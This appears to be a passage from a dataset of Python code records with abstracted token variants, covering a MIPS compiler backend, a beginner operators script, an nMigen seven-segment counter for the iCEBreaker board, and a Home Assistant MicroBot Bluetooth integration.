token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n" ]
false
9,953
911257bad3baab89e29db3facb08ec41269b41e3
# mathematical operators ''' * multiply / divide (normal) // divide (integer) % modulus (remainder) + add - subtract ** exponent (raise to) ''' print(2 * 3) # comparison operators ''' == equal to != not equal to > greater than < less than >= greater or equal to <= less or equal to ''' a = int(input("Enter your age: ")) b = 18 if a >= b: print("You can drive the car, you are ", a) else: print("Sorry, you are too small")
[ "# mathematical operators\n'''\n* multiply\n/ divide (normal)\n// divide (integer)\n% modulus (remainder)\n+ add\n- subtract\n** exponent (raise to)\n'''\nprint(2 * 3)\n# comparison operators\n'''\n== equal to\n!= not equal to\n> greater than\n< less than\n>= greater or equal to\n<= less or equal to\n'''\na = int(input(\"Enter your age: \"))\nb = 18\nif a >= b:\n print(\"You can drive the car, you are \", a)\nelse:\n print(\"Sorry, you are too small\")", "<docstring token>\nprint(2 * 3)\n<docstring token>\na = int(input('Enter your age: '))\nb = 18\nif a >= b:\n print('You can drive the car, you are ', a)\nelse:\n print('Sorry, you are too small')\n", "<docstring token>\nprint(2 * 3)\n<docstring token>\n<assignment token>\nif a >= b:\n print('You can drive the car, you are ', a)\nelse:\n print('Sorry, you are too small')\n", "<docstring token>\n<code token>\n<docstring token>\n<assignment token>\n<code token>\n" ]
false
9,954
74bb511a9ec272020693db65a2e708f3db56931e
#!/usr/bin/env python3 from nmigen import * from nmigen.build import * from nmigen_boards.icebreaker import ICEBreakerPlatform class SSDigitDecoder(Elaboratable): def __init__(self): self.i_num = Signal(4) self.o_disp = Signal(7) self.lut = { 0: 0b011_1111, 1: 0b000_0110, 2: 0b101_1011, 3: 0b100_1111, 4: 0b110_0110, 5: 0b110_1101, 6: 0b111_1101, 7: 0b000_0111, 8: 0b111_1111, 9: 0b110_0111, } def incr(self): return self.i_num.eq(self.i_num+1) def elaborate(self, platform): m = Module() with m.Switch(self.i_num): for a, b in self.lut.items(): with m.Case(a): m.d.comb += self.o_disp.eq(b) return m class Blinky(Elaboratable): def __init__(self): self.dd0 = SSDigitDecoder() self.dd1 = SSDigitDecoder() def elaborate(self, platform): m = Module() m.submodules.dd0 = self.dd0 m.submodules.dd1 = self.dd1 timer = Signal(20) led = platform.request('led', 0) btn = platform.request('button', 0) btn1 = platform.request('button', 1) dig_sel = platform.request('ss_dig_sel', 0) disp = platform.request('ss_disp', 0) # blinky led m.d.sync += timer.eq(timer+1) m.d.comb += led.o.eq(timer[-1] & ~btn) # 7 seg running = Signal(1) """ # naive btn last_btn1 = Signal(1) m.d.sync += last_btn1.eq(btn1.i) with m.If(btn1.i & ~last_btn1): m.d.sync += running.eq(~running) """ btn1_pipe1 = Signal(1) btn1_pipe2 = Signal(1) btn1_db = Signal(range(0, 0xffff)) m.d.sync += [ btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1), ] with m.If(btn1_pipe2): m.d.sync += btn1_db.eq(0xffff) with m.Else(): with m.If(btn1_db > 0): m.d.sync += btn1_db.eq(btn1_db-1) with m.If(btn1_pipe2 & (btn1_db == 0)): m.d.sync += running.eq(~running) with m.If(running & (timer == 0)): with m.If(self.dd0.i_num == 9): m.d.sync += self.dd0.i_num.eq(0) with m.If(self.dd1.i_num == 9): m.d.sync += self.dd1.i_num.eq(0) with m.Else(): m.d.sync += self.dd1.incr() with m.Else(): m.d.sync += self.dd0.incr() with m.If(timer[8]): m.d.comb += [ dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp), ] with m.Else(): m.d.comb += [ dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp), ] return m if __name__ == '__main__': p = ICEBreakerPlatform() p.add_resources(p.break_off_pmod) p.add_resources([ Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=('pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0, PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), ]) for r in p.resources: print('r:', r) p.build(Blinky(), do_program=False)
[ "#!/usr/bin/env python3\n\nfrom nmigen import *\nfrom nmigen.build import *\nfrom nmigen_boards.icebreaker import ICEBreakerPlatform\n\nclass SSDigitDecoder(Elaboratable):\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {\n 0: 0b011_1111,\n 1: 0b000_0110,\n 2: 0b101_1011,\n 3: 0b100_1111,\n 4: 0b110_0110,\n 5: 0b110_1101,\n 6: 0b111_1101,\n 7: 0b000_0111,\n 8: 0b111_1111,\n 9: 0b110_0111,\n }\n def incr(self):\n return self.i_num.eq(self.i_num+1)\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\nclass Blinky(Elaboratable):\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n\n # blinky led\n m.d.sync += timer.eq(timer+1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n\n # 7 seg\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 0xffff))\n m.d.sync += [\n btn1_pipe1.eq(btn1.i),\n btn1_pipe2.eq(btn1_pipe1),\n ]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(0xffff)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db-1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [\n dig_sel.o.eq(0),\n disp.o.eq(self.dd1.o_disp),\n ]\n with m.Else():\n m.d.comb += [\n dig_sel.o.eq(1),\n disp.o.eq(self.dd0.o_disp),\n ]\n\n return m\n\nif __name__ == '__main__':\n p = ICEBreakerPlatform()\n p.add_resources(p.break_off_pmod)\n p.add_resources([\n Resource('ss_dig_sel', 0, \n Pins('10', dir='o', conn=('pmod', 0)),\n Attrs(IO_STANDARD='SB_LVCMOS')),\n Resource('ss_disp', 0, \n PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)),\n Attrs(IO_STANDARD='SB_LVCMOS')),\n ])\n for r in p.resources:\n print('r:', r)\n p.build(Blinky(), do_program=False)\n", "from nmigen import *\nfrom nmigen.build import *\nfrom nmigen_boards.icebreaker import ICEBreakerPlatform\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\nif __name__ == '__main__':\n p = ICEBreakerPlatform()\n p.add_resources(p.break_off_pmod)\n p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=(\n 'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0,\n PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(\n IO_STANDARD='SB_LVCMOS'))])\n for r in p.resources:\n print('r:', r)\n p.build(Blinky(), do_program=False)\n", "<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\nif __name__ == '__main__':\n p = ICEBreakerPlatform()\n p.add_resources(p.break_off_pmod)\n p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=(\n 'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0,\n PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(\n IO_STANDARD='SB_LVCMOS'))])\n for r in p.resources:\n print('r:', r)\n p.build(Blinky(), do_program=False)\n", "<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n", "<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n <function token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n", "<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n <function token>\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n <function token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n", "<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n <function token>\n <function token>\n <function token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass Blinky(Elaboratable):\n <function token>\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass Blinky(Elaboratable):\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<code token>\n" ]
false
9,955
5509880c30c2e03ca6eb42ad32018c39fb5939ed
"""Integration to integrate Keymitt BLE devices with Home Assistant.""" from __future__ import annotations import logging from typing import TYPE_CHECKING, Any from microbot import MicroBotApiClient, parse_advertisement_data from homeassistant.components import bluetooth from homeassistant.components.bluetooth.passive_update_coordinator import ( PassiveBluetoothDataUpdateCoordinator, ) from homeassistant.const import Platform from homeassistant.core import HomeAssistant, callback if TYPE_CHECKING: from bleak.backends.device import BLEDevice _LOGGER: logging.Logger = logging.getLogger(__package__) PLATFORMS: list[str] = [Platform.SWITCH] class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator): """Class to manage fetching data from the MicroBot.""" def __init__( self, hass: HomeAssistant, client: MicroBotApiClient, ble_device: BLEDevice, ) -> None: """Initialize.""" self.api: MicroBotApiClient = client self.data: dict[str, Any] = {} self.ble_device = ble_device super().__init__( hass, _LOGGER, ble_device.address, bluetooth.BluetoothScanningMode.ACTIVE, ) @callback def _async_handle_bluetooth_event( self, service_info: bluetooth.BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange, ) -> None: """Handle a Bluetooth event.""" if adv := parse_advertisement_data( service_info.device, service_info.advertisement ): self.data = adv.data _LOGGER.debug("%s: MicroBot data: %s", self.ble_device.address, self.data) self.api.update_from_advertisement(adv) super()._async_handle_bluetooth_event(service_info, change)
